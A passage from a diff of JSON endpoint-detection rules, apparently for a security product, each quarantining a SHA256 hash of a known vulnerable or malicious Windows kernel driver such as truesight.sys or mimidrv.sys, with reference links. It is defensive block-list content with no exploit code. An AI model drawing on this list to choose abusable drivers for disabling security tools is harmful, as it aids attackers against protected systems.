+  "last_update": "2026-03-23T11:45:31.826491Z",
+  "creation_date": "2026-03-23T11:45:31.826493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46c0c7f394a9a400ae7d7cc9de29c7de3d808adbc1d6c5e9f85ff0636871fabc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "527a8fd4-fa9c-5fd9-a1b5-4bbe8629a26a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818190Z",
+  "creation_date": "2026-03-23T11:45:30.818192Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1336469ec0711736e742b730d356af23f8139da6038979cfe4de282de1365d3b",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "527be761-bcfe-5978-a2c0-f3326d2ad6ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611566Z",
+  "creation_date": "2026-03-23T11:45:29.611568Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611574Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fb8f2a0a32f2e73921a16a7836ff14122da45582aae742e6afd4d7ca15b3da3",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "527c2e61-93fb-583d-894b-638566768bef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978756Z",
+  "creation_date": "2026-03-23T11:45:29.978758Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978763Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0052aa88e42055a2eed5ddd17c3499c692360155e5e031a211edfcef577acce3",
+  "comment": "Malicious Kernel Driver (aka gmer64.sys) [https://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5295bf7a-16eb-5adc-8b5e-cc9facc3f581",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481006Z",
+  "creation_date": "2026-03-23T11:45:30.481008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbd4f66ae09797fcd1dc943261a526710acc8dd4b24e6f67ed4a1fce8b0ae31c",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5299bd65-8905-53bc-a00e-535c1a5a3674",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818825Z",
+  "creation_date": "2026-03-23T11:45:30.818827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e190b58266d9f7ce9681b834b0c7e6ab06e1305ab9258d714212a0bad58c0b4",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "529d4d24-ca23-5dc6-855d-b30ea991400a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822318Z",
+  "creation_date": "2026-03-23T11:45:30.822320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822325Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2898d715a1806b6cb574bff1dcd4bb2fd026ac624a2fbe71b7f17a64d0a9451",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "529e41e1-a567-5074-ba3a-e1832b7f427f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477387Z",
+  "creation_date": "2026-03-23T11:45:31.477392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477402Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44846eb04ec95ad86927cfc02e9c9a6d844aad4d1ec35f78af96ce947a34abcb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52aac6e5-5194-5326-87ea-5f7d0d06bebe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469204Z",
+  "creation_date": "2026-03-23T11:45:30.469207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6745f1ac0dc8014e359672c7d5d1c01588ab4a68ea96eea2dea811dcdcf5131",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52ad1c48-ef9c-5e31-b35b-8fab3426ba4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835236Z",
+  "creation_date": "2026-03-23T11:45:30.835239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "904bf42fb075bcf938002fb94cc789996f0382457c28b3840aac9c4f51d49c27",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52b1f8d2-3e16-57ef-b881-1714ef44d937",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143633Z",
+  "creation_date": "2026-03-23T11:45:31.143635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "befe8b4c4c12f393e783fdccd07f6172ef58f80034999243b5bee5067daa75df",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52b6c001-178b-53c7-b472-61e1c6d3f279",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475218Z",
+  "creation_date": "2026-03-23T11:45:31.475222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a09c5f5139ce37bf2341f475372528b0d904435e5c8bf00c9bb96a6bdc4c431c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52bc6453-8972-5988-9327-a678846161dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487737Z",
+  "creation_date": "2026-03-23T11:45:31.487739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ef0ef0e4a25261c5f26f42c079357746baf4bc4fe23844f2c2a0b3ca0a4ed61",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52bd9ef3-dabf-5d05-ad32-a8849dfea35b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142790Z",
+  "creation_date": "2026-03-23T11:45:31.142792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18e45ac31f7750ad3bab2dfc6776648f1ecb8c95bdbe2c59fa3b2438d3879e43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52ce985a-38f6-581a-b388-8ef6f2f61541",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811062Z",
+  "creation_date": "2026-03-23T11:45:31.811064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc7f129e228fcb6f6b88fd3f7125bf406d8e243273d451861507a553b1cef028",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52cec98f-d8b9-56db-aea6-d17f48db3f4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828636Z",
+  "creation_date": "2026-03-23T11:45:31.828639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828644Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7842397055abfd4e47b669d3c0aa004fbb8c4e8b9ed6c30c9a8cae2bb24c7a1e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52d55f1d-ed66-5d5b-b749-bb726322610a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465084Z",
+  "creation_date": "2026-03-23T11:45:30.465088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "673bbc7fa4154f7d99af333014e888599c27ead02710f7bc7199184b30b38653",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5304a61d-3ad5-5742-8ba6-7c908ba54b05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159633Z",
+  "creation_date": "2026-03-23T11:45:31.159635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f91b41629b47e7b5e9102ae70712c7fa9b903399e2de4b50ba86bcbf8e32f5b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5306fcf3-00cf-5003-8bf3-028c2401d1ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143315Z",
+  "creation_date": "2026-03-23T11:45:32.143317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143324Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b261d4065c03dcc732a951a9451b3a9f6054899eb3b8a4062dfed1c0ca3f3755",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5315e712-040e-529f-9e26-248e49dd8384",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975639Z",
+  "creation_date": "2026-03-23T11:45:29.975641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a65d14fd3b1b5981084cdbd293dc6f4558911ea18dd80177d1e5b54d85bcaa0",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53290af5-8482-59f6-a560-0ec05a691241",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621581Z",
+  "creation_date": "2026-03-23T11:45:29.621583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621589Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "841335eeb6af68dce5b8b24151776281a751b95056a894991b23afae80e9f33b",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "533e53b0-6165-56a3-bcf3-a1688a95c014",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159674Z",
+  "creation_date": "2026-03-23T11:45:31.159676Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c3720a4d0f874f5e33a916d51c9816bf97b0747d3fabee202b6dd65850da2fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "533f4a17-e0ca-53d7-bb1b-8ab99f92e8bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822282Z",
+  "creation_date": "2026-03-23T11:45:30.822284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
